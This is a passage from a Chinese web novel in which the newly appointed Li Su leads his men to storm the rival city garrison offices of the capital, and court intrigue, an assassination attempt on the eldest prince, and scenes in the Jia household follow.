“要我说,西城那位子文兄当不当也无所谓,这中城兵马司楚王殿下就是挂个名儿,事儿还不都是文兄办的。” 文思成矜持的笑笑。 他心里其实并不托底,李素的鲁莽他是清楚的,追着牛继宗砍八条街这事儿,他刚听说的时候也吓了一跳。 但是为了自己前途,他别无选择。 就在此刻,李素率领着手下抵达了南城兵马司衙门。 与西城兵马司相比,并无太大差异,大门敞开着,门前稀稀拉拉地站着四五个衙役,无精打采晒着太阳。 当这些衙役看到李素带领人马出现在眼前时,先是一怔,目光随即落在李素身上那身醒目的指挥使官服之上。 一时间,他们脸上露出些许迷惑之色,正当他们想要开口询问之际,飞狐的人就如猛虎下山一般猛扑上前。 刹那间,拳影交错、腿风呼啸,只听得几声闷哼响起,短短几个呼吸之间,便已被全部打倒在地,一个个躺在地上痛苦呻吟,再也无法起身。 李素打马上前,用剑一指:“你们的指挥使可在?” “不……不在。” “去哪了?” “小人,不知。” “你们衙门里藏贼了,你知不知道?” “小人,不知。” “不,你们都知道。”随后李素不再理他们,转身对飞狐道:“飞狐派人将他们送回西城兵马司保护起来。” “是,大人。” 飞狐眼中冒出了兴奋的光芒,一挥手几个衙役便被绑了起来,送回西城兵马司,然后他问道:“大人,接下来怎么办?” “跟早晨一样,不许有站着的,哪怕他是一只羊。” 飞狐一声怒吼:“列冲锋阵!” 随着这声令下,那些由巡捕营带来的好汉们闻风而动,动作整齐划一,迅速地组成了一个个紧密相连的三人小组阵势。每个人都紧握手中的棍棒,将其向前平平举起。 待列阵完毕之后,飞狐再次高声呼喊:“兵马司捉贼,跪者生 ,站者死!”话音未落,他便身先士卒,犹如离弦之箭一般率先冲入了南城兵马司衙门之中。 而在他身后,百人队紧紧跟随其后,如同汹涌澎湃的潮水一般席卷而来。与此同时,众人齐声嘶喊:“兵马司捉贼,跪者生,站者死!” 面对如此突如其来且气势汹汹的冲进来的人,南城兵马司的人们顿时被惊得目瞪口呆,完全不知所措。 谁能想到会有人攻打衙门? 然而,仅仅只是片刻,棍棒就直接砸在了他们身上,丝毫不顾他们的哭嚎惨叫,只要是站着的全部被放倒在地。 有人嘶喊:“谁敢攻击我南城兵马司?你们要造反吗?” 但李素的人只管闷头打人,边打边喊:“兵马司捉贼,跪者生,站者死!”就这么一句话反复播放。 有人试图分辨,自己不是贼,但根本没人听,全部都是莫得感情的打人机器。 有人试图抵抗。可惜的是,但哪能抵挡李素精心按照军卒标准训练出来的这群好汉? 刹那间,喊杀声、打斗声响彻整个南城兵马司衙门。 只见那一百名好汉身手矫健,配合默契,所到之处势如破竹。 在外站着的打倒! 在屋里的,拉出来打倒! 南城兵马司留守的四百余名人员虽然人数众多,不多时,便已全部被打倒在地,痛苦呻吟。 这时一个身影不知道从哪里骑着马窜了出来,往兵马司外面跑,边跑边喊:“西城兵马司造反了!” 李素捡起一把刀,对着他的背影就甩了过去,大喊一声:“着!” 第143章 楚王大计(上架 加更 求腚) 钢刀直没马腹。 一声长嘶,马倒地,人惨叫着被甩了出去。 衙门之外,众多围观偷瞧的百姓们惊得目瞪口呆。 兵马司竟然遭受了攻击!早就不乏一些胆子颇大的闲人壮起胆子在兵马司外面来回晃悠了,尤其四五十个中老年妇女夹杂其中更加显眼。 李素上马奔到门卫长笑一声:“胡副指挥使,可抓到贼人?” 飞狐跟上前抱拳朗声道:“大人,据南城兵马司同僚所言,贼人在东城兵马司。” “果真?” “果真!” 李素对着四方百姓双手抱拳:“好叫京中父老得知,为国拿贼,我西城兵马司责无旁贷,不管这贼有多高的身份,有谁护着,藏在哪个衙门或者哪家王公贵族之家! 人群中一身员外打扮的孙有道喊话。 “敢问这位将军,南城兵马司可是藏贼了?” “今日得知贼人藏在南城兵马司,我就打了南城兵马司!京中父老如有冤情皆可去我西城报案,别说是兵马司就是兵部藏贼我也照抓不误,律法面前,王子犯法与庶民同罪!” “好!” “好!” 人群中,叫好声不断的响起。 飞狐附和高喊:“王子犯法与庶民同罪!” 西城衙兵齐声附和:“王子犯法与庶民同罪!” “王子犯法与庶民同罪!” 百姓跟着一起喊了起来,一时间这口号响彻四方。 成了! 李素再次向四方拱手,随后大喝一声:“去东城兵马司拿贼,出发!”随后率队就冲了出去。 人群中的孙有道又喊了一嗓子:“去东城看将军拿贼了!” 随后不少人就跟了上去看热闹,而那一群妇女大娘们儿,却四散而开,奔向了街头巷尾。 西暖阁。 雍和帝拿着一份奏折,皱起了眉头,他沉吟片刻看了一眼夏守忠。 “李素今日是不是去西城兵马司当值了?” “是的陛下,一早他出了荣国府后先到到林府后取了官印袍服,又跑去他偷买的宅子叫了一百人,随后就奔了西城兵马司。” “哼,自作聪明,还以为自己弄个宅子神不知鬼不觉。” 夏守忠见雍和帝虽然在骂,面上却带着笑,于是凑趣儿:“嘿……可不是?李花园……咳,可能还以为他那点儿人藏的挺严实的。” “一个兵部给事中的折子放到了前头,说的尽是个屁事,是楚王让你递的吧?” 雍和帝忽然话锋一转,直接把手中的折子扔到了夏守忠面前。 夏守忠面色一白,噗通跪倒在地。 “陛下,圣明,确实是楚王陛下,老奴昏了头了。” “起来,事儿做的如此明显,你这老货也不算瞒着朕,但凡你有二心早就被喂了狗了,你觉得楚王怎么样?” 雍和帝最后这句话让夏守忠真的害怕了,他不停的磕头:“奴才不知,奴才只知道四位殿下都是龙凤之姿。” “你倒是谁都不得罪,哼,小家子气。” 雍和帝骂完,不再说话继续翻看起了奏折。 夏守忠小心翼翼的爬了过去,把地上的折子捡了起来打开看,他愣住了,只见上面已经被皇帝御笔朱批:准! 楚王府。 楚王李元慎笑了笑,对坐在一侧的文士道:“胡先生,有话直说。” 胡先生站起身行了一礼:“在下确实有些糊涂了,看不懂殿下为何做的这般明显?而且手段有些个……有些……嗯,更何况那李素明显是陛下要培养重用之人,殿下却把他往外推……这…” “哈哈哈,有些小家子气?” 胡先生尴尬道:“是。” “本王且问你,这事儿是不是都会认为本王小家子气,成不了气候?” “是。” “你还记得我父皇的位子是怎么来的么?相当于是捡来的啊……你不觉得现在的情势跟当年有些类似么?东宫悬空,众王互防,老大人气占一半。” 胡先生皱眉想了想:“殿下,不一样,当年勋贵和大半文臣支持义忠亲王,威胁到了太上皇才是关键,而今梁王可没有那么高的势头,皇上也不会对他起提防之心。” “本王当然知道这些,你不知道的是父皇的身子……”楚王目光闪烁随后继续道:“你更不了解人性,更不了解帝王,人啊……在病弱时本能会亲近无害的人,我们兄弟几个,老大自以为是声势高涨,老三油滑狡诈,老四有病,不提也罢,你说谁的机会大?” 胡先生心中一震,恍然道 :“所以王爷原本睿智的名声在外,更在兵部观政,此时需要自污来隐蔽锋芒,让皇上更加亲近殿下?” 这胡先生说完,再次躬身:“王爷英明,在下敬服!” “哈哈哈,就是如此,更何况,本王给李素上眼药,谁会感激本王?” “军中!” 楚王点头,随后叹了一句:“父皇为何这皇帝做的艰难?手中军权不稳啊。” 胡先生顺着楚王的思路接话:“所以,李素此时正好是送到殿下面前的一个棋子。” “没错儿,何况那折子,父皇必然会驳斥,对李素也没有什么实质的伤害,他也不会因此和本王成仇。” “那么就随时可以招揽其人,殿下,在下服了,您真是天纵之资。” “还需先生时时建言。” “在下还真有一言,听说皇上赐给李素的宅子就要修缮完毕,贾元春也要出宫,所以请殿下让李素将贾元春送还荣国府。” 楚王听完一愣,怀疑自己这个门客是不是被大哥或者是三弟收买了? “还有呢?” “然后殿下向荣国府提亲,纳贾元春为侧妃。” 楚王笑眯眯道:“好,这事儿,你去办吧,现在就去。” “啊?现在?” “对,就是现在。” 胡先生搞不懂楚王为何这么急躁,但也只能从命,行了一礼就往外走。 等他出门后,楚王冷声道:“杀了!” 屏风后接着就走出两个黑衣人无声的出了屋门。 楚王坐下猛灌了一口茶,随后埋怨道:“你能不能给我推荐点儿靠谱儿的?别再给我弄什么读书人,至尊师爷之类的了,这已经杀了第八个了。” 一个生的古灵精怪的女孩儿,走到楚王对面儿,拿起一串儿葡萄就往嘴里塞,萌萌的大眼睛看着楚王。 “二哥啊,咱就说这个老胡对朝政的见解是不是有一套吧?” “但他对父皇却不懂半分,有何用?现在你二哥不是皇帝,找人帮我是帮我夺位!夺位啊!” “二哥觉得李素怎么样?” 楚王疑惑的看向妹妹:“云暖啊,他不好拉拢吧,你又不靠谱儿了。” “你觉得我嫁给他怎么样?” 第144章 李青天(上架加更求腚) 中城兵马司衙门。 文思成对一侧的心腹道:“去看看,怎么还没有信儿传来?” 心腹转身出去。 “文大哥,想必咱们的人正跟着那李素在西城来回跑呢,大家说是不是?哈哈哈。” “我看老胡说的对,必是如此!” 众人又是一阵哄堂大笑。 文思成刚出门儿的心腹却匆匆跑了回来,不等文思成发问,他就大声道:“大人,南城兵马司来报,那李素……李素……” “说,吞吞吐吐作甚?” 文思成皱眉。 “那李素带人攻打了南城兵马司的衙门!” 众人听了,瞬间屋里变得鸦雀无声,落针可闻。 这李素怎么敢?攻打兵马司他不怕被砍头吗? 武庆闻言急了,窜过来一把抓住了他的衣襟,瞪眼大怒:“你说什么?我南城报信儿的人呢?” “武大人,李素带人攻打了南城兵马司的衙门,报信儿的人已经晕了过去,他说南城衙门里已经没有一个站着的人了,就连马都被打断了腿!” “啊,欺人太甚!” 武庆怒吼一声就往外走。 “等等,你要去哪里?” “我要带兄弟们去报仇!” “不许去,如果你去了就成了两个衙门间的冲突,你现在应该去兵部、龙禁卫、飞鱼卫报案,李素造反请兵捉拿归案!” 东城的指挥使洪广志拦在了武庆面前:“对,文大哥说的对,就该如此办!” 武庆也冷静了下来,正要开口回话,只听外面脚步声起,有人喊道:“指挥使大人,东城兵马司来报,他们被西城兵马司抄家了!” “我日他奶奶个腿儿啊,我东城的人呢?” 拦武庆的洪广志闻言就往外窜去。 屋里剩下的人心中共同晃过一个念头:李素疯了! 李素是疯了,紧接着北城兵马司的人也来报信儿,他们也被揍了,而且还说李素带着人正往中城兵马司杀来! 就在同一时间,李青天不畏强权拿贼的消息,如野火燎原一般迅速席卷了整个神京城! 镇国公家的公子抢夺西城豆腐张的媳妇,藏在东城兵马司,李青天不顾个人安危,闯衙拿人! 齐国公家的小舅子强抢烧饼刘的女儿,被南城兵马司窝藏,李青天纵马缉凶! 东平郡王府世子砸了纸钱铺子,李青天不畏强权,扬言王子犯法与庶民同罪,闯了窝藏世子的北城兵马司! 以上等等神京要闻,随着五百位热心的神京大妈,散落神京四方。 最后南安郡王家的狗都被传出来,犯重罪藏在了兵马司。 李素李青天。 他不畏强权,勇敢地站出来为民请命的事迹成为了人们街头巷尾的话题。 神京城,一个政治高压的城市,大家习惯了一潭死水的日子,李素就如一道闪电给百姓头上劈出了一道光,亮瞎了眼。 与之形成鲜明对比的,则是南、东、北、中四个兵马司。关于他们欺压百姓、窝藏贼人等种种劣迹的传闻也是愈演愈烈,传得沸沸扬扬。 中城兵马司三里处,李素带着人正在赶来,连续攻打了三处衙门,又赶了这么多路,他的人也疲惫起来,跑的气喘吁吁,但是精神越加的亢奋。 这些扬州来的好汉,何曾想过自己能有这么风光的一日? 在神京攻打衙门! 死了也值了! 太他娘的爽了! 尤其队伍后面还跟着一大群看热闹的百姓,孙有道的人不断的带头喊着口号。 “李青天来了京城,公平就有了!” “李青天来了京城,公平就有了!” …… 人群中一身便衣的季宗礼也在跟着喊,嗓门儿还尤其的大,他身边几个同样便衣的龙禁卫拉了一下他:“头儿,咱们真不管?” 镇压京城不法,维护京城稳定是龙禁卫的职责,像这种类似造反的行为,正是他们应该镇压的对象。 季宗礼笑道:“咱们管个屁,人家捉贼拿盗是为了公务,至于贼在哪也不归咱们去查问,好好看戏,你没见顺天府、大理寺、刑部的人都在看热闹么?” “头儿说的是……李青天来了京城,公平就有了!” 几个人继续喊了起来。 他们看的热闹,顺天府和大理寺、刑部的人却一边看热闹一边冒酸水,判案断非是他们的正管职责,青天之名在他们头上才是名正言顺。 不提这队伍中的各人心思,一路奔行。 等到了中城兵马司 衙门。 只见中城兵马司的人已经严阵以待,前头站着一溜儿七八个身着指挥使官袍的人,正对着李素咬牙切齿。 文思成向前一步,正想说话。 李素在马上一挥手中的剑,大喝一声:“忠诚兵马司副指挥使文思成何在,北城兵马司的同僚报案,你儿子与你妾室通奸,犯了监临奸之罪,此刻正藏在你衙门之内,快快交人。”” 李素话音刚落,飞狐紧接着喊道:“文思成窝藏罪犯拒不交人,兄弟们,西城兵马司为国拿贼,进衙搜人,反抗者以通贩论处,杀!” 话音落下,就带着队伍冲了上去,对着前排的指挥使就打。 文思成被气的差点儿背过气去,他根本没有小妾! 此时想要再去分辨已然太迟! 李素压根儿就未曾有过让他张嘴说话的念头。这帮指挥使平素里尽享荣华富贵,过着养尊处优的生活,其身手甚至还比不上那些寻常的衙役。 电光火石之间,他们便被放倒在地,口中发出阵阵凄厉的惨嚎之声,但紧接着他们就喊不出来了。 飞狐多机灵,知道李素不让他们开口,放倒他们之后直接就把他们绑了起来,塞了嘴巴。 他们身后的衙役见自己的上司都被干了,再也没有刚开始的勇气,撒丫子就跑,接着飞狐带人就追进了衙门里,同样的操作,见人就打,跪下为止! 围观人群喊得更加热闹了,他们一路跟来,这是第一次看到这么多老爷被打。 “李青天来了京城,公平就有了!” 一时间,口号声响彻云霄。 就在此时,远处传来了一阵阵乐声,细听起来有鸣锣、唢呐、长号笙等各式乐器声,这是大官儿的仪仗。 随后就有人在外围高喊。 “兵部柳侍郎驾到,闲人闪避!” 随后人群分开,只见一顶轿子抬到了前面,从轿子里出来一个绯色官袍的中年人,面色阴沉的看了看现场情况,随后大喝一声:“李素造反,给本官拿回兵部问罪!” (还有!上架加更求腚。) 第145章 刺王杀驾(上架加更求腚) 兵部右侍郎柳明善。 正三品。 五城兵马司的顶头上司。 在大周,五城兵马司归兵部和皇帝双重管辖,也因为有了皇帝的管理,兵部主要在做造册、发俸、补充物资等事。 而人员补缺,基本由皇帝直接指派或者领权挂名的亲王、郡王来定。 所以人事权归皇帝,兵部就是个干杂事的。 这也就是李素上任为什么一道圣旨就行了,根本不用先去兵部应卯,兵部只负责走个流程。 现如今,楚王就挂了个中城兵马司指挥使的名头,同时他又在兵部观政,兵部下辖的各个衙门可以说都是他的势力范围,所以兵部又对兵马司掌控权多了一些。 这也就文思成他们听到李素的作为后,为什么第一时间想到的是兵部。 就在柳明善一声令下之后。 名隶属于兵部的衙兵如饿虎扑食一般,气势汹汹地朝着李素猛冲过去。 李素双腿用力一夹胯下的照玉狮子的马腹,照玉狮子猛然间发出一阵嘶鸣,前腿高高抬起,整个身躯直立而起! 两名衙兵吓得飞快躲闪,与此同时,只见照玉狮子前蹄落下,身躯横移调转后腿猛地向后扬起,骤然踢了出去。 只听得两声凄厉的惨叫骤然响起,两名衙兵如同断了线的风筝一般,直直地倒飞了出去。 重重地摔落在地上,激起一片尘土。 “李素,你敢拒捕?” 柳明善顿时大怒。 李素没理他,抱住了照玉狮子的马脖子,在它耳边道:“干的漂亮宝贝,我给你取的名字怎么样?” 照玉狮子好像听懂了一样,咴儿叫了一声。 “你以后就叫浮香怎样?你不说话?那就这么定了。” “李素!” 柳明善再次大喝,他柳明善三品大员,受不了如此羞辱:“弓箭手何在?!” 只见他的仪仗中,十余人顿时摘下长弓,搭箭就拉成满月对准了李素。 “柳大人,柳大人息怒啊,下官这里有兵马司的罪状,请大人明察!” 只见孙有道甩掉了外面的员外袍,露出里面副指挥使的官袍,拿着一摞纸就冲了出来,到柳明善面前后躬身行礼,双手把状纸举过头顶。 柳明善挥手就把他手里的状纸打落,大声呵斥:“你算个什么东西?伪造罪证,罪加一等,将此人一并拿下!” 李素翻身下马,走向了柳明善:“柳大人,你瞎吗?你聋吗?神京百姓都在叫我李青天,你敢动我?” 柳明善听到这话不由得笑了。 “哈哈哈,李素,你一个幸进之人,懂什么?你以为百姓喊你几句青天,你就可以脱罪了?” 随后他面色一沉,盯着李素道:“蓄养私兵其罪一也,攻打神京四个兵马司衙门其罪二也,伪造罪状其罪三也!” 然后不再看李素,对着四周高声道:“大周律!纵兵造反者斩立决,夷九族!给本官拿下,弓箭手,若反抗就地射杀!” 兵部十余名持刀衙兵就欲上前捉拿李素。 飞狐大吼一声:“巡补营,上刺刀!” 他手下兵从自己背囊里纷纷掏出刀头,快速插在了自己长棍的前端,然后在李素的身前列成了三队,与兵部衙兵对峙起来。 这些好汉连打四个衙门,有不少已经带伤,脸上身上青紫连连,很多人腿都开始打颤了。但是精气神儿却更加凝聚,一股视死如归的萧杀气弥漫开来。 “柳大人,我的兵是皇上批准练的,现在也有牙牌告身,状子你看都未看就断言是假,更不要说本官按状搜人,别说贼藏在兵马司衙门,就是藏在兵部衙门、藏在国公亲王府,本官也要搜上一搜,还我神京百姓一片青天!” “好!” “李青天!” 百姓中有人忽然喊了一嗓子。 柳明善豁然转身,季宗礼猛的一缩脖子,又藏了起来。 待柳明善又转回身的时候,季宗礼又喊了一声,随后他就不用再藏了,百姓们跟着喊了起来。 一时间,李青天之名再次轰然响彻起来。 柳明善脸色青一阵白一阵,李素是李青天,他一个要抓李素的堂堂三品大员成什么了?黑天? 想到这里,他再也忍不住了,再次大喝:“弓箭手!” “慢!” 随即就有人高喊:“梁王殿下驾到!” 大皇子来了! 百姓哗然,纷纷向后退让开了道路。 梁王来了,他早就到了,本来没打算露面,但现在民意沸腾他忍不住了,这一刻他 站出来了,舍我其谁的站出来了! 他要主持公道,他要人前显圣! 一袭白衣的梁王走到了前面。 藏在人群中的玲珑公主李云暖伸胳膊捅了捅楚王:“二哥,你说如果现在一支冷箭把大哥送走怎么样?” 楚王眼睛一亮,随即瞪了李云暖一眼。 “二哥,你心动了!”李云暖咯咯咯的笑了起来。 “你是魔鬼吗?” 李元慎十分清楚,如果大哥真遭了刺杀,自己的皇帝老子肯定会盯着他们兄弟几个狠查,藏不住! 正当众人都还沉浸在一片寂静之中等待梁王开口之时,李素忽然感觉不对,他向危险来处的方向看过去。 心中暗道一声,老子又要赚了! 他的身子猛然前突,瞬间撞开了拦在身前的兵,举剑就向直直地朝着梁王面门狠狠刺去! 同时他口怒吼一声:“护驾!” 同时兵部衙兵队伍里猛然传出两声弓弦颤动之声,两道寒光如同闪电一般从人群中激射而出,目标赫然正是梁王面庞! 李素手中之剑迅速挥舞起来。 只听得“叮叮”两声脆响,那两支箭矢便被他接连劈落在地! 李素再喊一声:“柳明善刺梁王,拿下!” 随着箭矢落地,整个场面瞬间变得混乱不堪。人们惊恐地尖叫着四处逃窜,生怕下一个遭殃的就是自己。 柳明善也傻了,急忙喊了一嗓子:“不是我!快拿贼,保护大皇子!” 他的兵射了大皇子,刚才要不是李素,他全家都会死! 气急败坏的柳明善朝着慌乱的属下继续大喊:“拿贼啊,保护大皇子!” 然而他下达的这道命令地糊涂不堪,兵部的士兵们瞬间陷入了一片混乱之中。 有的士兵如无头苍蝇一般,盲目地朝着那些放箭的刺客冲了过去,但却被另一些士兵向着大皇子所在之处奔去的兵拦了路。 两伙人顿时撞头撞腚,搅和在了一起, 一时间,整个场面变得杂乱无章,仿佛一锅煮沸了的热粥,完全失去了控制。 真正把大皇子护在中间的却是李素的兵,他站在梁王前面,他前面是飞狐,再前面是自己的老兵在外面围了起来,举着刺刀警惕的盯着外面乱哄哄的人群。 李元慎呆呆的看向自己这个妹妹:“你真是魔鬼!” 李云暖也懵了。 “我……我其实想的是射你啊,二哥!” “射我?”楚王怒目。 李云暖白眼儿一翻,出奇的萌:“射你才不会查你啊。” 楚王却没理她这话,猛的一拍大腿叫道:“坏了!” “怎么了?” “大哥遭射,我在现场,我成嫌疑人了,快走!” “对哦……算了,二哥你听,咱们走不了喽。” 楚王也听到了一声爆响,抬头就看见了升空的龙禁卫特有烟花集合令,紧接着外面就传来了马队驶来的声音和整齐的行军声。 藏在人群中的季宗礼也在骂娘,幸亏自己备着一手,让龙禁卫的大队人马辍在了后面,他边脱外面的便装,边喊道:“龙禁卫封街,擅动者杀,站立者杀,持械者杀!” “龙禁卫封街,擅动者杀,站立者杀,持械者杀!” “龙禁卫封街,擅动者杀,站立者杀,持械者杀!” ……一声声嘶吼来回回荡,逐渐压住了现场的混乱。 “二哥你倒霉了……咯咯咯,你看啊兵马司的事儿是你搞的,柳明善是你的人,他的人又射了大哥。” 第146章 萌物玲珑(上架加更求腚) 楚王的脸色一阵红一阵白。 呆在了原地。 他脑子里此时只有一个念头:我该怎么向父皇解释? 尘烟滚滚,全副武装的龙禁卫士兵朝着这边气势汹汹地围拢而来!步兵手持长枪大戟,紧密排列成方阵,每一步都踏出坚实有力的声响。 而骑兵则驾驭着高头大马,挥舞着雪亮的长刀,随后掠阵。 随着他们越来越近,可以清晰地看到那闪烁着寒光的甲胄,令人不禁为之胆寒。 “龙禁卫封街,擅动者杀,站立者杀,持械者杀!” …… 千人的呐喊震耳欲聋,不管看热闹的百姓还是各路牛鬼蛇神,纷纷趴在了地上,噤若寒蝉,包括文思成、武庆等兵马司指挥使。 他们此时不禁庆幸,自己被李素的人绑了起来,否则梁王遇刺够他们喝一壶的。 柳明善则呆若木鸡的看着两个刺客倒在血泊中,是自裁的,死士! 他真的后悔了,他是三品的高官,何苦自己亲自下场参与这等事。 不算梁王和李素的爵位,品级最高的指挥使才正六品,在朝廷里屁都不算,自己平白跌了身份不说,现在又沾了一身屎。 自己还有前途么? 季宗礼走到旁边拧眉,阴沉着脸对手下道:“勘验,速招仵作、郎中!另外甄别现场所有人的身份,不明者、曾作奸犯科者全部下狱!” 吩咐完,他弯身对柳明善道:“柳大人,飞鱼卫来之前,还请你配合我们龙禁卫的监管,不要随意走动。” 柳明善呆呆点头。 李云暖在楚王身边悄声道:“二哥,你自求多福!” 你说啥? 就在楚王迷惑之际,李云暖就跑了出去。 “哇……呜呜呜……大锅…我怕……呜呜……” 还在发愣的梁王,被李云暖这一嗓子叫的回了魂,他身子晃了晃,定睛瞧去:“玲珑?玲……玲珑妹妹?……快快让玲珑公主过来!” 李素看着奔过来的小姑娘,心中大动,竟有如此萌物? 提莫一米五,她也一米五,小马拉巨乳。 小小一只,让人不自觉的就想抱在怀里把玩,萌萌的大眼睛,泪水在里面打转儿。 声音奶奶的,还有一些珂学音儿,可卿音儿。 李素强忍着控制住了自己想张开的双臂。 他沉声下令:“闪!” 瞬间道路闪开,玲珑公主经过李素身边,跑到了梁王李元谨面前,拉住了梁王的袖子抽泣,泪水就像断了线的珠子一样往下掉,委屈的就像天塌了一般。 “大锅,呜呜,我跟侍女出来玩儿,被人挤散了……我好怕!” 梁王好似瞬间被玲珑激活了,他下巴一扬,把胸膛挺的直直的。 “玲珑不怕,不怕,大哥在呢!” “嗯嗯……看见大锅,人家就不怕啦……嘻嘻…呜呜……咦?这里是肿么了?大锅怎么在这里?” 玲珑公主眨巴着眼睛,任眼泪往下滴,仰头看着梁王。 李素见她这模样,直呼要命,想当爹! 李元谨面色冷肃,姿态卑弭四方。 “没事儿,没事儿,李素被兵部欺负了,大哥来劝架的。” 柳明善心往下沉,如果不是梁王被刺,他不怕梁王拉偏架,但现在不行了,自己屁也不敢放一个。 “喔,他们欺负人了呀?” 玲珑公主又给了他一击,但还没完。 楚王跑了过来:“大哥,大哥,你没事儿吧?柳明善,你要给皇上一个交待,给朝廷一个交待,给本王一个交待!若梁王有恙,你百死莫赎!” 楚王最后喊完,红着眼睛死死盯着柳明善。 柳明善噗通跪了下去,磕头如捣蒜:“臣柳明善用人不明,混入了刺客,请梁王、楚王殿下责罚!” 玲珑看向楚王,一脸的惊喜。 “二锅,你也来啦!”接着她扭着脑袋疑惑的看着楚王:“二哥要打他吗?虽然他欺负人,但可是他现在看起来好可怜!” 李元慎心里无语,但还是一脸宠溺:“玲珑妹妹,以后不要乱跑,好好在你府里待着。”随后他向李素抱拳:“李素,你救了我大哥一命,我李元慎欠你一命,多谢你!” 梁王摆手插话:“不需要二弟欠命,李素身为朝廷命官,救民缉盗拿贼正是本份,救本王更是应该,本王事关社稷,李素若不救才是……” 李素烦了,这吊毛真他娘的自以为是,相当于消灭了自己救驾功劳,于是不待梁王说话,完直接对楚王抱拳。 “楚王殿下客 气了,谁不知我李素是罪恶的克星,神京的……” 被打断的梁王冷哼一声,不再说话,看着他俩。 楚王嘴角抽动:“青天,青天!本王知道了。” “哈哈哈……虚名,都是京中父老抬爱。” 玲珑大眼睛咕噜噜转了转,看三人。 李素说完转身看着四方忙碌的龙禁卫、跪地等待查验的百姓高声道:“各位父老乡亲们,我李素在此重申,不管他是谁!哪怕是我身边这位英俊的皇子,楚王殿下犯法,我李素也照拿不误,穷追不舍,还神京百姓一个朗朗晴天!” 但此时被龙禁卫镇压的百姓,却没有一个人敢附和了。 李素不自觉的摸了摸下巴。 身后传来了玲珑公主的喊声:“李青天!李青天!李……大锅,你捂人家嘴巴做什么?”李素转身,只见玲珑正仰头不解的看着自己的大哥梁王。 大眼睛里面全是疑惑,清清澈澈如一汪清水。 李素暗自咽了咽,出声道:“玲珑公主,咱们加个微……认识一下吧!” “喔?李素锅锅,你怎么知道人家的表字?” “你的表字是什么?” “戈薇。” “你这表字有些奇怪。” “这是我娘亲死前给我取的小名儿,我……我就把它当表…字了。” 玲珑声音越来越低,最后小嘴儿一瘪,似要又哭。 李素见她这模样,一时间竟然不知如何哄了,不由的掏出了手绢儿,但还没递过去,玲珑的小手就伸过来抓住了。 “李素锅锅,这帕子能先送我么?人家的面纱被挤掉了呢……呜…” 李素一把又抢了回去摇头道:“这个不行!” “为什么?” “玲珑,先用大哥的,要不要大哥给你系上。” 梁王面色不愉,拿出了自己的手绢递给玲珑。 “谢谢大锅,玲珑可以自己来的。” 她把梁王的手绢儿遮在脸部,两个角儿掖在了耳间,整理好后,又看向了李素,大眼睛眨呀眨也不说话。 但里面仿佛藏着无尽不敢言说的委屈。 李素晃了晃脑袋,暗恼这萌死人,真要命。 这手绢儿是黛玉盖了戳儿的,可不能给,他还是有点儿逼数,想起黛玉再看玲珑好像也没那么打心了。 他心里想着的黛玉此时手里拿着两封信,正望着门外发呆。 是在李素的屋子里。 雪雁伸手在她眼前晃了晃:“姑娘,你这两封信看了好些遍了,里面写的什么啊?小爷有没有提起我啊?” 黛玉推她:“走开,当我看风景了,提起你了啊,不是跟你说了么?” 雪雁眼皮一耷拉:“我才不信呢,小爷怎么会问什么呆雁长大了没,可下锅了没,我又不是上桌儿雁。” “噗嗤~你倒是长了点儿脑子,他确实没这么说。” “到底怎么说的?” “他说啊,给雪雁多喂点儿草,等来年开春儿,让她驮着自家姑娘上京。” 雪雁眼睛一亮:“什么草?好吃么?” “不知,他说就在后花园里,让你自己去找。” “我这就去!” 雪雁说完就窜出了门,很快一溜烟儿不见了踪影,黛玉抿嘴儿笑了一会儿,再次琢磨起另一封信的内容。 这封信就就是贾母写给贾敏的,贾敏看完后却给了黛玉,让她自己琢磨自己外祖母信里的真实意图。 这是把黛玉当成大姑娘来对待才有的行为了。 贾敏随着李素上京,得知他已经封爵,并得了皇帝的厚赏,就把自己母亲写给自己的这封信拿给了黛玉,开始培养她对人心、利益、关系的把握。 她没想到的是,黛玉看第二遍的时候,就读懂了自己外祖母的心思,让自己孤身一个姑娘上京入国公府亲戚家,不就是婚配之事么? 见都未见过,说什么亲情思念,净是些空话。更何况大家族的主母当久了,计算久了利益得失,再说有多重情感纯属是蒙人。 一个姑娘家,能让超品国公夫人惦念的除了婚配,还能有什么呢? 从母亲的只言片语中,她更是猜到了外祖母是为了贾宝玉。 但此时黛玉考虑的却不是这些,而是想着自己去还是不去,暗自打算着跟李素能在一块儿的时间。 千千万别跑错位了! 西暖阁,夏守忠疾步跑了进来。 噗通跪下:“陛下,龙禁卫集兵并非李素闹得过度,而是……而是梁王遇刺,但被李素救了下来,没有受伤!” 雍和帝表情一顿:“梁王去了啊,他去了就对了,行刺者何人?” “柳明善带去的兵部衙兵,是死士!” 雍和帝眼睛微眯。 “楚王、靖王是否在场?” “靖王殿下不在,楚王殿下在,另外玲珑公主也在。” 雍和帝心中一动:“玲珑?她见到李素了?” “见到了。” 雍和帝话锋又一转。 “你这狗奴才说说,李素敢这么干是不是完全因为朕的宠幸?仗了朕的势?” 夏守忠爬起来,走到雍和帝近前把桌上的凉茶倒掉:“陛下,奴才觉得是,不然还能因为什么呢?林大人可不在京里给他撑腰啊,再说林大人也没那么大的官儿,没那么大的势。” 雍和帝沉默了半晌才又开口:“他练的兵真不错,那个叫巡补营吧,传旨江南大营接管扬州的巡补营。” 第147章 贾母的狠辣 贾家门前此时亦是热闹万分。 赖家被抄了,抄出了五十七万两银子,路不平按照李素的交待抄五十万两他拿一成,他想了想还是给李素留个整儿的好,所以又逼迫赖家变卖了七万两出来。 他拿走五万,剩余的五十二万两,三万多斤银子装了十车就送到了宁国府门前。 路不平办事利落,银子到之前,赖嬷嬷跟赖大都没得着信儿,直到孙子赖尚荣跑来哭诉,才晓得自己家被抄了,银子正在往荣国府送。 他们忙跑过去看,见银子一车车被押进宁国府,就像晴天霹雳砸在了脑袋上。 “老天爷啊!” 赖嬷嬷惨叫了一声,两眼一翻就晕了过去。 而赖大看着面色冷肃的飞鱼卫、凶神恶煞的奉天府衙役,丝毫不敢言说,打马就往家跑去。 而此时贾母的房里,贾政正在说着李素的事儿。 贾母脸上拧眉。 “如此说来,这素哥儿要完?” 贾政捋着短须:“儿子是这么看的,庶民虽呼素哥儿为青天,但他连打四城兵马司衙门,这……这简直无法无天,朝野诸公怎么可能容得下素哥儿?” “据说真实的缘由,是其余四城兵马司的人打了他西城的人吗,衙署之间小有冲突乃是常事,他这做法……国朝以来,未有也!” 贾母叹了一声:“这鞭炮性子,昨夜一时误会于我,倒是不奇怪了!” “上任第一天,就干了这么大事儿,哪家皇帝敢用他?趁早打发走……嘿。” 贾母怒视贾赦:“你闭嘴!这天下有几家皇帝?你想死就自己走的远远的,别连累这一家子!” “儿子错了。” 